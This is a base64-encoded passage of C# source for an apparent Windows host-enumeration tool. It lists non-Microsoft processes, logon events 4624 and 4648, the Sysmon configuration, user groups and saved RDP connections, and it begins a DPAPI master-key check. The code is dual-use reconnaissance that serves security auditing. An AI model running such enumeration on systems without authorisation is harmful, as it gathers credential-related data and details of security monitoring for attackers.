ICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICh0YWJsZUJ1ZmZlciAhPSBJbnRQdHIuWmVybykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKHRhYmxlQnVmZmVyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3ROb25zdGFuZGFyZFByb2Nlc3NlcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBsaXN0cyBjdXJyZW50bHkgcnVubmluZyBwcm9jZXNzZXMgdGhhdCBkb24ndCBoYXZlICJNaWNyb3NvZnQgQ29ycG9yYXRpb24iIGFzIHRoZSBjb21wYW55IG5hbWUgaW4gdGhlaXIgZmlsZSBpbmZvCiAgICAgICAgICAgIC8vICAgICAgb3IgYWxsIHByb2Nlc3NlcyBpZiAiZnVsbCIgaXMgcGFzc2VkCgogICAgICAgICAgICBpZiAoRmlsdGVyUmVzdWx0cy5maWx0ZXIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBOb24gTWljcm9zb2Z0IFByb2Nlc3NlcyAodmlhIFdNSSkgPT09XHJcbiIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEFsbCBQcm9jZXNzZXMgKHZpYSBXTUkpID09PVxyXG4iKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHZhciB3bWlRdWVyeVN0cmluZyA9ICJTRUxFQ1QgUHJvY2Vzc0lkLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUgRlJPTSBXaW4zMl9Qcm9jZXNzIjsKICAgICAgICAgICAgICAgIHVzaW5nICh2YXIgc2VhcmNoZXIgPSBuZXcgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKHdtaVF1ZXJ5U3RyaW5nKSkKICAgICAgICAgICAgICAgIHVzaW5nICh2YXIgcmVzdWx0cyA9IHNlYXJjaGVyLkdldCgpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHZhciBxdWVyeSA9IGZyb20gcCBpbiBQcm9jZXNzLkdldFByb2Nlc3NlcygpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgam9pbiBtbyBpbiByZXN1bHRzLkNhc3Q8TWFuYWdlbWVudE9iamVjdD4oKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9uIHAuSWQgZXF1YWxzIChpbnQpKHVpbnQpbW9bIlByb2Nlc3NJZCJdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0IG5ldwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvY2VzcyA9IHAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBhdGggPSAoc3RyaW5nKW1vWyJFeGVjdXRhYmxlUGF0aCJdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb21tYW5kTGluZSA9IChzdHJpbmcpbW9bIkNvbW1hbmRMaW5lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICh2YXIgaXRlbSBpbiBxdWVyeSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vT0xEIC0gIGlmICgoaXRlbS5QYXRoICE9IG51bGwpICYmICgoIUZpbHRlclJlc3VsdHMuZmlsdGVyKSB8fCAoIVJlZ2V4LklzTWF0Y2goaXRlbS5QYXRoLCAiQzpcXFxcV0lORE9XU1xcXFwiLCBSZWdleE9wdGlvbnMuSWdub3JlQ2FzZSkpKSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChpdGVtLlBhdGggIT0gbnVsbCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZpbGVWZXJzaW9uSW5mbyBteUZpbGVWZXJzaW9uSW5mbyA9IEZpbGVWZXJzaW9uSW5mby5HZXRWZXJzaW9uSW5mbyhpdGVtLlBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGNvbXBhbnlOYW1lID0gbXlGaWxlVmVyc2lvbkluZm8uQ29tcGFueU5hbWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKFN0cmluZy5Jc051bGxPckVtcHR5KGNvbXBhbnlOYW1lKSkgfHwgKCFGaWx0ZXJSZXN1bHRzLmZpbHRlcikgfHwgKCFSZWdleC5Jc01hdGNoKGNvbXBhbnlOYW1lLCBAIl5NaWNyb3NvZnQuKiIsIFJlZ2V4T3B0aW9ucy5JZ25vcmVDYXNlKSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9vbCBpc0RvdE5ldCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRyeQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNzZW1ibHlOYW1lIG15QXNzZW1ibHlOYW1lID0gQXNzZW1ibHlOYW1lLkdldEFzc2VtYmx5TmFtZShpdGVtLlBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpc0RvdE5ldCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIChTeXN0ZW0uSU8uRmlsZU5vdEZvdW5kRXhjZXB0aW9uKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJUaGUgZmlsZSBjYW5ub3QgYmUgZm91bmQuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIChTeXN0ZW0uQmFkSW1hZ2VGb3JtYXRFeGNlcHRpb24gZXhjZXB0aW9uKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFJlZ2V4LklzTWF0Y2goZXhjZXB0aW9uLk1lc3NhZ2UsICIuKlRoaXMgYXNzZW1ibHkgaXMgYnVpbHQgYnkgYSBydW50aW1lIG5ld2VyIHRoYW4gdGhlIGN1cnJlbnRseSBsb2FkZWQgcnVudGltZSBhbmQgY2Fubm90IGJlIGxvYWRlZC4qIiwgUmVnZXhPcHRpb25zLklnbm9yZUNhc2UpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpc0RvdE5ldCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0Y2gKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiVGhlIGFzc2VtYmx5IGhhcyBhbHJlYWR5IGJlZW4gbG9hZGVkLiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTmFtZSAgICAgICAgICAgOiB7MH0iLCBpdGVtLlByb2Nlc3MuUHJvY2Vzc05hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIENvbXBhbnkgTmFtZSAgIDogezB9IiwgY29tcGFueU5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFBJRCAgICAgICAgICAgIDogezB9IiwgaXRlbS5Qcm9jZXNzLklkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBQYXRoICAgICAgICAgICA6IHswfSIsIGl0ZW0uUGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQ29tbWFuZExpbmUgICAgOiB7MH0iLCBpdGVtLkNvbW1hbmRMaW5lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBJc0RvdE5ldCAgICAgICA6IHswfVxyXG4iLCBpc0RvdE5ldCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgoKICAgICAgICAvLyBlbGV2YXRlZCBzeXN0ZW0gY2hlY2tzCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3Q0NjI0RXZlbnRzKCkKICAgICAgICB7CiAgICAgICAgICAgIHZhciBldmVudElkID0gIjQ2MjQiOwoKICAgICAgICAgICAgLy8gZ3JhYiBldmVudHMgZnJvbSB0aGUgbGFzdCBYIGRheXMgLSA3IGZvciBkZWZhdWx0LCAzMCBmb3IgImZ1bGwiIGNvbGxlY3Rpb24KICAgICAgICAgICAgaW50IGxhc3REYXlzID0gNzsKCiAgICAgICAgICAgIGlmICghRmlsdGVyUmVzdWx0cy5maWx0ZXIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGxhc3REYXlzID0gMzA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHZhciBzdGFydFRpbWUgPSBTeXN0ZW0uRGF0ZVRpbWUuTm93LkFkZERheXMoLWxhc3REYXlzKTsKICAgICAgICAgICAgdmFyIGVuZFRpbWUgPSBTeXN0ZW0uRGF0ZVRpbWUuTm93OwoKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IDQ2MjQgQWNjb3VudCBMb2dvbiBFdmVudHMgKGxhc3QgezB9IGRheXMpID09PVxyXG4iLCBsYXN0RGF5cyk7C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nRzLCBsb2NhbCBzZXJ2aWNlIGFjY291bnRzLCBVTUZELVggYWNjb3VudHMsIGFuZCBEV00tWCBhY2NvdW50cyAoZm9yIG5vdykKICAgICAgICAgICAgICAgICAgICBSZWdleCBpZ25vcmVSZWdleCA9IG5ldyBSZWdleChAIlNZU1RFTXxcJCR8TE9DQUwgU0VSVklDRXxORVRXT1JLIFNFUlZJQ0V8VU1GRC1bMC05XSt8RFdNLVswLTldK3xBTk9OWU1PVVMgTE9HT04iKTsKICAgICAgICAgICAgICAgICAgICBNYXRjaCBtID0gaWdub3JlUmVnZXguTWF0Y2goVGFyZ2V0VXNlck5hbWUpOwogICAgICAgICAgICAgICAgICAgIGlmICghbS5TdWNjZXNzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVXNlck5hbWUgICAgICAgICAgOiB7MH0iLCBUYXJnZXRVc2VyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFVzZXJEb21haW4gICAgICAgIDogezB9IiwgVGFyZ2V0RG9tYWluTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFVzZXJTSUQgICAgICAgICAgIDogezB9IiwgVGFyZ2V0VXNlclNpZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFByb2Nlc3NOYW1lICAgICAgIDogezB9IiwgUHJvY2Vzc05hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBMb2dvblR5cGUgICAgICAgICA6IHswfSIsIExvZ29uVHlwZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEF1dGhQS0cgICAgICAgICAgIDogezB9IiwgQXV0aGVudGljYXRpb25QYWNrYWdlTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExtUGFja2FnZU5hbWUgICAgIDogezB9IiwgTG1QYWNrYWdlTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFdvcmtzdGF0aW9uTmFtZSAgIDogezB9IiwgV29ya3N0YXRpb25OYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVGltZUNyZWF0ZWQgICAgICAgOiB7MH1cclxuIiwgZXZlbnRkZXRhaWwuVGltZUNyZWF0ZWQuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAgICAgICAgICAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKGV2ZW50ZGV0YWlsLkZvcm1hdERlc2NyaXB0aW9uKCkpOwogICAgICAgICAgICAgICAgICAgICAgICAvL2JyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3Q0NjQ4RXZlbnRzKCkKICAgICAgICB7CiAgICAgICAgICAgIHZhciBldmVudElkID0gIjQ2NDgiOwoKICAgICAgICAgICAgLy8gZ3JhYiBldmVudHMgZnJvbSB0aGUgbGFzdCBYIGRheXMgLSA3IGZvciBkZWZhdWx0LCAzMCBmb3IgImZ1bGwiIGNvbGxlY3Rpb24KICAgICAgICAgICAgaW50IGxhc3REYXlzID0gNzsKCiAgICAgICAgICAgIGlmICghRmlsdGVyUmVzdWx0cy5maWx0ZXIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgI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V2ZW50ZGV0YWlsLlByb3BlcnRpZXNbN10uVmFsdWUuVG9TdHJpbmcoKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgVGFyZ2V0U2VydmVyTmFtZSA9IGV2ZW50ZGV0YWlsLlByb3BlcnRpZXNbOF0uVmFsdWUuVG9TdHJpbmcoKTsKICAgICAgICAgICAgICAgICAgICAvL3N0cmluZyBUYXJnZXRJbmZvID0gZXZlbnRkZXRhaWwuUHJvcGVydGllc1s5XS5WYWx1ZS5Ub1N0cmluZygpOwogICAgICAgICAgICAgICAgICAgIC8vc3RyaW5nIFByb2Nlc3NJZCA9IGV2ZW50ZGV0YWlsLlByb3BlcnRpZXNbMTBdLlZhbHVlLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIFByb2Nlc3NOYW1lID0gZXZlbnRkZXRhaWwuUHJvcGVydGllc1sxMV0uVmFsdWUuVG9TdHJpbmcoKTsKICAgICAgICAgICAgICAgICAgICAvL3N0cmluZyBJcEFkZHJlc3MgPSBldmVudGRldGFpbC5Qcm9wZXJ0aWVzWzEyXS5WYWx1ZS5Ub1N0cmluZygpOwogICAgICAgICAgICAgICAgICAgIC8vc3RyaW5nIElwUG9ydCA9IGV2ZW50ZGV0YWlsLlByb3BlcnRpZXNbMTNdLlZhbHVlLlRvU3RyaW5nKCk7CgogICAgICAgICAgICAgICAgICAgIC8vIGZpbHRlciBvdXQgYWNjb3VudHMgKGZvciBub3cpCiAgICAgICAgICAgICAgICAgICAgUmVnZXggaWdub3JlUmVnZXggPSBuZXcgUmVnZXgoQCJcJCQiKTsKICAgICAgICAgICAgICAgICAgICBNYXRjaCBtID0gaWdub3JlUmVnZXguTWF0Y2goU3ViamVjdFVzZXJOYW1lKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIW0uU3VjY2VzcykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFN1YmplY3RVc2VyTmFtZSAgICAgICAgOiB7MH0iLCBTdWJqZWN0VXNlck5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTdWJqZWN0RG9tYWluTmFtZSAgICAgIDogezB9IiwgU3ViamVjdERvbWFpbk5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTdWJqZWN0VXNlclNpZCAgICAgICAgIDogezB9IiwgU3ViamVjdFVzZXJTaWQpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBUYXJnZXRVc2VyTmFtZSAgICAgICAgIDogezB9IiwgVGFyZ2V0VXNlck5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBUYXJnZXREb21haW5OYW1lICAgICAgIDogezB9IiwgVGFyZ2V0RG9tYWluTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFRhcmdldFNlcnZlck5hbWUgICAgICAgOiB7MH0iLCBUYXJnZXRTZXJ2ZXJOYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUHJvY2Vzc05hbWUgICAgICAgICAgICA6IHswfSIsIFByb2Nlc3NOYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVGltZUNyZWF0ZWQgICAgICAgICAgICA6IHswfVxyXG4iLCBldmVudGRldGFpbC5UaW1lQ3JlYXRlZC5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0U3lzbW9uQ29uZmlnKCkKICAgICAgICB7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBTeXNtb24gQ29uZmlndXJhdGlvbiA9PT1cclxuIik7CgogICAgICAgICAgICBzdHJpbmcgaGFzaGluZyA9IEdldFJlZ1ZhbHVlKCJIS0xNIiwgIlNZU1RFTVxcQ3VycmVudENvbnRyb2xTZXRcXFNlcnZpY2VzXFxTeXNtb25EcnZcXFBhcmFtZXRlcnMiLCAiSGFzaGluZ0FsZ29yaXRobSIpOwogICAgICAgICAgICBpZiAoIVN0cmluZy5Jc051bGxPckVtcHR5KGhhc2hpbmcpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBIYXNoaW5nIGFsZ29yaXRobTogezB9IiwgaGFzaGluZyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHN0cmluZyBvcHRpb25zID0gR2V0UmVnVmFsdWUoIkhLTE0iLCAiU1lTVEVNXFxDdXJyZW50Q29udHJvbFNldFxcU2VydmljZXNcXFN5c21vbkRydlxcUGFyYW1ldGVycyIsICJPcHRpb25zIik7CiAgICAgICAgICAgIGlmICghU3RyaW5nLklzTnVsbE9yRW1wdHkob3B0aW9ucykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIE9wdGlvbnM6IHswfSIsIG9wdGlvbnMpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBieXRlW10gc3lzbW9uUnVsZXMgPSBHZXRSZWdWYWx1ZUJ5dGVzKCJIS0xNIiwgIlNZU1RFTVxcQ3VycmVudENvbnRyb2xTZXRcXFNlcnZpY2VzXFxTeXNtb25EcnZcXFBhcmFtZXRlcnMiLCAiUnVsZXMiKTsKICAgICAgICAgICAgaWYgKHN5c21vblJ1bGVzICE9IG51bGwpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFN5c21vbiBydWxlczogIiArIENvbnZlcnQuVG9CYXNlNjRTdHJpbmcoc3lzbW9uUnVsZXMpKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCgogICAgICAgIC8vIHVzZXItZm9jdXNlZCBjaGVja3MKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdEN1cnJlbnREb21haW5Hcm91cHMoKQogICAgICAgIHsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDdXJyZW50IFVzZXIncyBHcm91cHMgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIFdpbmRvd3NJZGVudGl0eSB3aSA9IFdpbmRvd3NJZGVudGl0eS5HZXRDdXJyZW50KCk7CiAgICAgICAgICAgICAgICBMaXN0PHN0cmluZz4gZ3JvdXBzID0gbmV3IExpc3Q8c3RyaW5nPigpOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKElkZW50aXR5UmVmZXJlbmNlIGdyb3VwIGluIHdpLkdyb3VwcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGdyb3Vwcy5BZGQoZ3JvdXAuVHJhbnNsYXRlKHR5cGVvZihOVEFjY291bnQpKS5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2F0Y2ggeyB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBncm91cHMuU29ydCgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGdyb3VwIGluIGdyb3VwcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MH0iLCBncm91cCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0U2F2ZWRSRFBDb25uZWN0aW9ucygpCiAgICAgICAgewogICAgICAgICAgICAvL3Nob3dzIHNhdmVkIFJEUCBjb25uZWN0aW9ucywgaW5jbHVkaW5nIHVzZXJuYW1lIGhpbnRzIChpZiBwcmVzZW50KQoKICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmdbXSBTSURzID0gUmVnaXN0cnkuVXNlcnMuR2V0U3ViS2V5TmFtZXMoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBTSUQgaW4gU0lEcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoU0lELlN0YXJ0c1dpdGgoIlMtMS01IikgJiYgIVNJRC5FbmRzV2l0aCgiX0NsYXNzZXMiKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIHN1YmtleXMgPSBHZXRSZWdTdWJrZXlzKCJIS1UiLCBTdHJpbmcuRm9ybWF0KCJ7MH1cXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFRlcm1pbmFsIFNlcnZlciBDbGllbnRcXFNlcnZlcnMiLCBTSUQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN1YmtleXMgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IFNhdmVkIFJEUCBDb25uZWN0aW9uIEluZm9ybWF0aW9uICh7MH0pID09PSIsIFNJRCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgaG9zdCBpbiBzdWJrZXlzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VybmFtZUhpbnQgPSBHZXRSZWdWYWx1ZSgiSEtDVSIsIFN0cmluZy5Gb3JtYXQoIlNvZnR3YXJlXFxNaWNyb3NvZnRcXFRlcm1pbmFsIFNlcnZlciBDbGllbnRcXFNlcnZlcnNcXHswfSIsIGhvc3QpLCAiVXNlcm5hbWVIaW50Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG4gIEhvc3QgICAgICAgICAgIDogezB9IiwgaG9zdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHVzZXJuYW1lSGludCAhPSAiIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgVXNlcm5hbWVIaW50IDogezB9IiwgdXNlcm5hbWVIaW50KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gU2F2ZWQgUkRQIENvbm5lY3Rpb24gSW5mb3JtYXRpb24gKEN1cnJlbnQgVXNlcikgPT09Iik7CiAgICAgICAgICAgICAgICBzdHJpbmdbXSBzdWJrZXlzID0gR2V0UmVnU3Via2V5cygiSEtDVSIsICJTb2Z0d2FyZVxcTWljcm9zb2Z0XFxUZXJtaW5hbCBTZXJ2ZXIgQ2xpZW50XFxTZXJ2ZXJzIik7CiAgICAgICAgICAgICAgICBpZiAoc3Via2V5cyAhPSBudWxsKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBob3N0IGluIHN1YmtleXMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlcm5hbWVIaW50ID0gR2V0UmVnVmFsdWUoIkhLQ1UiLCBTdHJpbmcuRm9ybWF0KCJTb2Z0d2FyZVxcTWljcm9zb2Z0XFxUZXJtaW5hbCBTZXJ2ZXIgQ2xpZW50XFxTZXJ2ZXJzXFx7MH0iLCBob3N0KSwgIlVzZXJuYW1lSGludCIpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgSG9zdCAgICAgICAgICAgOiB7MH0iLCBob3N0KTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHVzZXJuYW1lSGludCAhPSAiIikKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBVc2VybmFtZUhpbnQgOiB7MH0iLCB1c2VybmFtZUhpbnQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdE1hc3RlcktleXMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gbGlzdHMgYW55IGZvdW5kIERQQVBJIG1hc3RlciBrZXlzCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgI